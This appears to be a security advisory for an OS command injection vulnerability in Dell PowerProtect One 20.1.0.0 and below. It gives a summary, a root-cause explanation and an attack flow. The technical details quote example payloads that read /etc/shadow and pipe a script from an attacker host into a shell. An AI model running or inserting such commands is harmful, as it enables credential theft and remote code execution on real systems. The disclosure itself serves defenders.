Description

Dell PowerProtect One, versions 20.1.0.0 and below, contain an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Code execution.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "8.8",
  "pubDate": "2026-08-26T20:17:59.353Z",
  "pubdate": "2026-08-26T20:17:59.353Z",
  "executiveSummary": "Dell PowerProtect One versions 20.1.0.0 and below are susceptible to an Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) vulnerability. This flaw arises from insufficient sanitization of user-supplied input, allowing unauthorized execution of arbitrary system commands with the privileges of the underlying application service.\nThe vulnerability poses a severe risk to the confidentiality, integrity, and availability of the affected system. A remote attacker with low-privileged access can leverage this defect to bypass security controls and achieve arbitrary code execution. Successful exploitation does not require administrative credentials, significantly lowering the barrier for entry. Once compromised, the system may be subject to full administrative control, data exfiltration, or the deployment of persistent malware. Given the role of PowerProtect in data management and backup architectures, unauthorized access represents a critical threat to the security posture of the entire storage environment.",
  "technicalDetails": "The vulnerability is classified as an OS Command Injection flaw, occurring when the application processes user-supplied input through system-level interfaces or shell commands without adequate neutralization of metacharacters. In affected versions of Dell PowerProtect One (20.1.0.0 and below), the application fails to perform rigorous input validation or parameterization before passing data to underlying operating system functions.\nThe root cause lies in the application's implementation of external process calls. By embedding unsanitized input into command strings—such as those executed via system(), exec(), or shell-based subprocess calls—the application allows the injection of arbitrary shell operators (e.g., semicolons, ampersands, or pipes). An attacker, possessing low-privileged remote access, can craft a malicious request containing shell metacharacters designed to terminate the intended command and execute a secondary, unauthorized command of their choosing.\nThe attack flow proceeds as follows: First, the attacker identifies an input vector within the web application interface or API endpoints that is processed by a back-end system routine. Second, the attacker submits a payload containing OS command sequences designed to execute commands such as 'cat /etc/shadow' or 'curl http://attacker.com/malware.sh | sh'. Third, the server-side process executes the malicious payload with the permissions of the web service account. If the application service is running with elevated privileges (such as root or SYSTEM), the attacker inherits those privileges immediately upon execution.\nBecause the vulnerability is accessible via remote network interfaces, it does not require physical access to the appliance. The exploitation process is highly deterministic, as the lack of input sanitization allows for reliable command execution. Following successful exploitation, the attacker can manipulate the operating system environment to install backdoors, pivot through the internal network, or permanently disrupt the PowerProtect One service. This capability effectively compromises the appliance's core functionality, enabling the attacker to modify backup configurations, access sensitive backup repositories, or disrupt system recovery processes, thereby impacting the organization's disaster recovery capabilities."
}